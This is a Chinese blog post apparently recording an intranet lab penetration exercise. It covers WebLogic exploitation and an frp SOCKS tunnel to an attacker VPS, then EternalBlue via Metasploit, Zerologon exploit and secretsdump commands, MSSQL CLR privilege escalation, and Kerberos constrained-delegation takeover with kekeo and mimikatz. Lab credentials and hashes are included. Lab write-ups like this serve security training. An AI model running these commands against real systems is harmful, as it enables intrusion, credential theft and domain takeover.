百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 热门文章 > 正文

一次内网靶场学习记录(网络靶场)

bigegpt 2024-08-02 11:07 15 浏览

环境搭建

web服务器:

外网IP 192.160.0.100

内网IP 10.10.20.12

域内机器win7 :

内网IP 10.10.20.7

内网IP 10.10.10.7

域内服务器 Mssql:

内网IP 10.10.10.18

域控机器:

内网IP 10.10.10.8

→点击查看技术资料←

1.2000多本网络安全系列电子书
2.网络安全标准题库资料
3.项目源码
4.网络安全基础入门、Linux、web安全、攻防方面的视频
5.网络安全学习路线图

外网渗透

端口扫描

搭建好环境,对目标192.168.0.100进行端口扫描探测

目录扫描

发现目标开放了7001端口,进行目录扫描探测,发现weblogic登录口

weblogic漏洞利用

尝试weblogic弱口令登录不成功

通过weblogic漏洞利用工具,发现目标存在CVE-2020-2551漏洞可以利用

出网探测

ping www.baidu.com发现目标机器出网

杀软识别

tasklist /svc 通过进程对比发现主机上没有安装杀软

直接powershell上线cs

内网渗透

信息搜集

通过执行命令whoami /all发现存在双网卡

密码凭据抓取

通过hashdump抓取密码Administrator ccef208c6485269c20db2cad21734fe7

ntlm hash值为ccef208c6485269c20db2cad21734fe7,通过cmd5解出明文密码Admin12345

横向移动

有了明文密码我们可以进行远程登陆,但真实环境中不到万不得已一般不建议执行此操作,因此寻找其他的方法进行内网横向移动

通过上传fscan扫描10网段,发现存在ms17-010漏洞的10.10.20.7主机

一开始打算通过Eternalblue直接上线cs,发现不成功,改用其他方法

项目地址:https://github.com/0xFenrik/Eternalblue

隧道搭建

上传frp搭建隧道代理

[common]#frpc配置
server_addr = VPS地址
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 1080
plugin = socks5

[common]#frps配置
bind_addr =0.0.0.0
bind_port = 7000

永恒之蓝ms17-010

改用metaspolit,调用永恒之蓝模块进行攻击,成功获取shell

msf6 > setg Proxies socks5:frps服务端IP:监听端口
msf6 > setg ReverseAllowProxy true
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 10.10.20.7
msf6 > run

或者vi /etc/proxychains.conf修改配置文件socks5 127.0.0.1 1080

然后通过proxychains msfconsole启动

成功后通过mimikatz执行creds_all获取账户密码redteam\saul:admin!@#45

中转上线

由于目标机器win7不出网,因此以跳板机器作为中转,新建一个监听器

通过psexec进行上线

成功上线后进行内网扫描,探测存活主机,发现还存在10.10.10.810.10.10.18两台机器

通过信息搜集发现当前机器是在域环境内net user /domain

定位域控

接着定位到域控 net group "domain controllers" /domain

ps:一般来说DNS服务器就是域控

CVE-2020-1472

影响版本:

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

通过CVE-2020-1472脚本进行检测

项目地址:https://github.com/SecuraBV/CVE-2020-1472

1、重置管理员密钥,进行置空

python3 cve-2020-1472-exploit.py OWA 10.10.10.8

2、通过 Dcsync 查看密码hash

python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass

3、通过psexec和hash获取域控权限

python psexec.py administrator@10.10.10.8 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7

4、使用secretsdump解析保存在本地的nt hash

reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save

python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

5、通过reinstall脚本将$MACHINE.ACC:plain_password_hex中的原来nt hash恢复

python reinstall_original_pw.py OWA 10.10.10.8 8623dc75ede3ca9ec11f2475b12ef96d

约束委派接管域控

1、通过adfind寻找约束委派的用户,发现为sqlserver的机器

AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

2、通过端口探测发现sqlserver为10.10.10.18机器

3、使用fscan进行扫描fscan.exe -h 10.10.10.0/24 sqlserver为弱口令sa/sa

4、使用工具查看当前权限SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami

项目地址:https://github.com/uknowsec/SharpSQLTools/releases/tag/41

5、权限较低,使用以下命令进行提权:

SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

6、上线CS并抓到sqlserver的密码redteam\sqlserver Server12345

根据先前的信息搜集可知 sqlserver 是一个约束委派用户,可以通过约束委派攻击来接管域控

项目地址:https://github.com/gentilkiwi/kekeo/releases

1、利用 kekeo 请求该用户的 TGT

kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"

2、然后使用这张纸 TGT 获取域机器的 ST

kekeo.exe "tgs::s4u /tgt: TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

3、使用 mimikatz 将 ST 导入当前会话,运行 mimikatz 进行 ptt

mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

4、成功获取域控权限

最后

点击查看【网络安全学习资料·攻略】

相关推荐

Go语言泛型-泛型约束与实践(go1.7泛型)

来源:械说在Go语言中,Go泛型-泛型约束与实践部分主要探讨如何定义和使用泛型约束(Constraints),以及如何在实际开发中利用泛型进行更灵活的编程。以下是详细内容:一、什么是泛型约束?**泛型...

golang总结(golang实战教程)

基础部分Go语言有哪些优势?1简单易学:语法简洁,减少了代码的冗余。高效并发:内置强大的goroutine和channel,使并发编程更加高效且易于管理。内存管理:拥有自动垃圾回收机制,减少内...

Go 官宣:新版 Protobuf API(go pro版本)

原文作者:JoeTsai,DamienNeil和HerbieOng原文链接:https://blog.golang.org/a-new-go-api-for-protocol-buffer...

Golang开发的一些注意事项(一)(golang入门项目)

1.channel关闭后读的问题当channel关闭之后再去读取它,虽然不会引发panic,但会直接得到零值,而且ok的值为false。packagemainimport"...

golang 托盘菜单应用及打开系统默认浏览器

之前看到一个应用,用go语言编写,说是某某程序的windows图形化客户端,体验一下发现只是一个托盘,然后托盘菜单的控制面板功能直接打开本地浏览器访问程序启动的webserver网页完成gui相关功...

golang标准库每日一库之 io/ioutil

一、核心函数概览函数作用描述替代方案(Go1.16+)ioutil.ReadFile(filename)一次性读取整个文件内容(返回[]byte)os.ReadFileioutil.WriteFi...

文件类型更改器——GoLang 中的 CLI 工具

我是如何为一项琐碎的工作任务创建一个简单的工具的,你也可以上周我开始玩GoLang,它是一种由Google制作的类C编译语言,非常轻量和快速,事实上它经常在Techempower的基准测...

Go (Golang) 中的 Channels 简介(golang channel长度和容量)

这篇文章重点介绍Channels(通道)在Go中的工作方式,以及如何在代码中使用它们。在Go中,Channels是一种编程结构,它允许我们在代码的不同部分之间移动数据,通常来自不同的goro...

Golang引入泛型:Go将Interface「」替换为“Any”

现在Go将拥有泛型:Go将Interface{}替换为“Any”,这是一个类型别名:typeany=interface{}这会引入了泛型作好准备,实际上,带有泛型的Go1.18Beta...

一文带你看懂Golang最新特性(golang2.0特性)

作者:腾讯PCG代码委员会经过十余年的迭代,Go语言逐渐成为云计算时代主流的编程语言。下到云计算基础设施,上到微服务,越来越多的流行产品使用Go语言编写。可见其影响力已经非常强大。一、Go语言发展历史...

Go 每日一库之 java 转 go 遇到 Apollo?让 agollo 来平滑迁移

以下文章来源于GoOfficialBlog,作者GoOfficialBlogIntroductionagollo是Apollo的Golang客户端Apollo(阿波罗)是携程框架部门研...

Golang使用grpc详解(golang gcc)

gRPC是Google开源的一种高性能、跨语言的远程过程调用(RPC)框架,它使用ProtocolBuffers作为序列化工具,支持多种编程语言,如C++,Java,Python,Go等。gR...

Etcd服务注册与发现封装实现--golang

服务注册register.gopackageregisterimport("fmt""time"etcd3"github.com/cor...

Golang:将日志以Json格式输出到Kafka

在上一篇文章中我实现了一个支持Debug、Info、Error等多个级别的日志库,并将日志写到了磁盘文件中,代码比较简单,适合练手。有兴趣的可以通过这个链接前往:https://github.com/...

如何从 PHP 过渡到 Golang?(php转golang)

我是PHP开发者,转Go两个月了吧,记录一下使用Golang怎么一步步开发新项目。本着有坑填坑,有错改错的宗旨,从零开始,开始学习。因为我司没有专门的Golang大牛,所以我也只能一步步自己去...